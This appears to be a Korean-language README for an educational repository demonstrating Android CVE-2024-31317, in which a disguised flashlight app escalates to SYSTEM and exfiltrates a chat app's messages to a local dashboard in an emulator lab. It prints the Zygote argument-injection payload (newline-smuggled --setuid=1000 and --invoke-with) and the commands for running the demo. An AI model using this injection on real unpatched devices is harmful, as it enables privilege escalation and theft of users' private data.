🔥 ZygoteExploitDemo - CVE-2024-31317 Android 보안 실습

🚨 Android Zygote 주입 취약점 교육 데모

📋 개요

이 실습은 악성 앱이 권한을 SYSTEM 수준(UID 1000) 으로 승격시키고 Android 샌드박스를 우회하여 다른 애플리케이션의 데이터를 실시간으로 읽을 수 있게 하는 치명적인 Android 취약점인 CVE-2024-31317을 시연합니다.

🎯 이 데모가 보여주는 것

단계	설명	시각 자료
1	사용자가 무해해 보이는 "Flashlight Pro" 앱을 설치함	🔦
2	앱이 CVE-2024-31317을 악용하여 SYSTEM 액세스 권한을 획득함	💉
3	SYSTEM 수준 서비스가 "SecureChat" 메시지를 읽음	👁️
4	도난당한 메시지가 실시간 대시보드에 표시됨	📊

🏗️ 프로젝트 구조

ZygoteExploitDemo/
├── 📱 apps/
│   ├── SecureChat/              # Victim app (Jetpack Compose)
│   │   ├── Encrypted messages stored in SQLite
│   │   └── Simulates WhatsApp-style encryption
│   │
│   ├── FlashlightPro/           # Malicious app with exploit
│   │   ├── Normal flashlight UI (distraction)
│   │   ├── Background exploit service
│   │   └── WRITE_SECURE_SETTINGS permission
│   │
│   └── MonitorService/          # SYSTEM-level reader
│       ├── Runs with UID 1000 after exploit
│       ├── Reads SecureChat database
│       └── Exfiltrates to dashboard
│
├── 📊 dashboard/                # Flask web dashboard
│   └── app.py                   # Shows stolen messages live
│
├── 📜 scripts/                  # Automation scripts
│   ├── setup_vulnerable_emulator.sh
│   ├── build_all_apps.sh
│   ├── install_all_apps.sh
│   ├── run_exploit.py
│   └── monitor_logs.sh
│
├── 🎯 exploits/                 # Exploit information
│   ├── CVE-2024-31317.md
│   └── payloads.txt
│
└── 📁 tamplates/                # Code templates
    ├── exploit_template.java
    └── dashboard_template.html

🔧 기술적 세부 사항

취약점

CVE-2024-31317은 Android의 Zygote 프로세스가 hidden_api_blacklist_exemptions 시스템 설정을 처리하는 방식에 존재합니다. 입력 검증(input sanitization)이 누락되어 공격자가 줄바꿈 문자를 주입하여 Zygote 명령에 임의의 인수를 추가할 수 있습니다.

공격 벡터:

Settings.Global.putString(
    contentResolver,
    "hidden_api_blacklist_exemptions",
    "LClass1;->method1(\n" +
    "7\n" +
    "--setuid=1000\n" +     // Run as SYSTEM
    "--setgid=1000\n" +     // Run as SYSTEM group
    "--invoke-with\n" +
    "am start-service ...;\n"
);

영향을 받는 버전

버전	상태
Android 9 - 14	❌ 취약 (2024년 6월 패치 이전)
Android 14+	✅ 패치됨 (2024년 6월 보안 업데이트)
Android 15+	✅ 안전

🚀 빠른 시작 가이드

사전 요구 사항

✅ Android Studio (최신 버전)
✅ Python 3.8+ 및 Flask
✅ Android SDK 및 platform tools
✅ 에뮬레이터용 여유 디스크 공간 10GB

1단계: 저장소 클론

git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo

2단계: 취약한 에뮬레이터 설정

cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh

# Start the emulator
emulator -avd vulnerable_android_12

3단계: 앱 빌드 및 설치

# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh

4단계: 대시보드 시작

cd ../dashboard
pip3 install flask flask-cors
python3 app.py

📱 브라우저에서 http://localhost:5000을 여세요

5단계: 익스플로잇 실행

cd ../scripts
python3 run_exploit.py

6단계: 마법을 확인하세요 ✨

에뮬레이터에서 SecureChat 앱을 엽니다
몇 가지 테스트 메시지를 보냅니다
메시지가 대시보드에 즉시 나타나는 것을 확인하세요! 🔴

📸 데모 비디오

🎬 데모 비디오가 곧 공개됩니다

🔬 작동 방식 - 단계별

FlashlightPro가 WRITE_SECURE_SETTINGS 권한을 요청합니다
익스플로잇 코드가 Zygote 설정에 악성 페이로드를 주입합니다
Zygote가 SYSTEM 권한(UID 1000)으로 MonitorService를 생성합니다
SYSTEM 서비스가 Android 샌드박스 제한을 우회합니다
/data/data/com.securechat/databases/에서 데이터베이스를 직접 읽습니다
HTTP POST를 통해 Flask 대시보드로 데이터를 유출합니다
도난당한 암호화된 메시지를 실시간으로 표시합니다

📚 학습 자료

🤝 기여

기여는 언제나 환영합니다! 다음 절차를 따라주세요:

저장소를 포크합니다
기능 브랜치를 만듭니다
Pull Request를 제출합니다

기여 분야:

🎯 추가 익스플로잇 페이로드
🛡️ 더 나은 탐지 방법
📖 개선된 문서
🌍 다른 언어로의 번역

📄 라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요

👨‍💻 작성자

Aman - @GitAmanS

⭐ 지원

이 데모가 교육적으로 도움이 되었다면 별표(스타)를 눌러주세요! ⭐

보안 연구자를 위해 보안 연구자가 만들었습니다

_{기억하세요: 큰 힘에는 큰 책임이 따릅니다 🕷️}

인기

ZygoteExploitDemo